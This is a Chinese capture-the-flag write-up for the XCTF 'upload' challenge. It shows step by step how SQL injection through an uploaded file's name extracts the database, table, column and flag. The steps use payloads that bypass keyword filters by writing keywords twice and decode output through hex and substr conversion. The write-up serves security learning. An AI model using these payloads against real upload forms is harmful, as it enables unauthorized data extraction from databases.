文件上传注入——【XCTF】upload writeup
程序员文章站
2022-05-15 11:24:21
...
题目
题目名称为upload
进入页面,注册admin账号,登入admin账号,一切行如流水
来到了文件上传的页面
文件上传
-
尝试上传普通图片 ==>通过
这里通过测试发现,仅能上传后缀为jpg的文件,png等其他格式的图片文件均报错 -
尝试上传php一句话木马 ==>报错
-
尝试上传一句话图片马 ==>通过(但是并没有什么用,因为没有路径)
经过各种尝试,题目限制了上传文件的后缀名仅为jpg,但并没有对文件内容有所限制/检查
从而图片马的方法失效,因为一是没有目录,二也无法上传.htaccess对图片马解析
这题的脑洞就在于,题目本身就仅仅关注文件名,因此考点在于上传的文件名对后端数据库的注入,并且上传成功时返回的uid也暗示了这一点
文件名注入
- 猜测后端insert语句为:
insert [表] values ('文件名')
构造payload:
'+(select database())+'.jpg
回显 ==> 0
发现select被过滤了
考虑使用双写绕过
payload:
'+(selecselectt database())+'.jpg
回显 ==> 0
考虑16进制转换
payload:
'+(selecselectt hex(database()))+'.jpg
回显 ==> 7765625
发现回显的数字为奇数位,可能存在截断,而且16进制没有出现字母
考虑将database()的16进制转换为10进制输出
payload:
'+(selecselectt conv(hex(database()),16,10))+'.jpg
回显 ==> 1.8446744073709552e19
回显为科学记数法,应该是输出过长导致
考虑使用substr分割输出
payload:
'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
回显 ==> 131277325825392
将131277325825392转为16进制再转为ASCII
输出:
继续使用substr输出后半部分
payload:
'+(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg
得到数据库名:web_upload
同样使用上述方法爆表
payload:
'+(selecselectt conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
得到表名:hello_flag_is_here
爆字段
payload:
'+(selecselectt conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
得到字段名:i_am_flag
爆值
payload:
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
得到值:aaa@qq.com_Th.e_F!lag
总结
- 第一次遇到文件名注入,参考了其他dalao的wp,跌跌撞撞走完
- sql注入中,编码转换,进制转换,substr分割输出是关键点
推荐阅读
-
ASP.NET文件上传Upload的实现方法
-
Element-UI中Upload上传文件前端缓存处理示例
-
AngularJS 文件上传控件 ng-file-upload详解
-
element-ui upload组件多文件上传的示例代码
-
PHP基于session.upload_progress 实现文件上传进度显示功能详解
-
Angular angular-file-upload文件上传的示例代码
-
[文件上传][源码泄露]--Web-Upload
-
vue使用el-upload上传文件及Feign服务间传递文件的方法
-
ASP.NET文件上传Upload的实现方法
-
elemetUi 组件--el-upload实现上传Excel文件的实例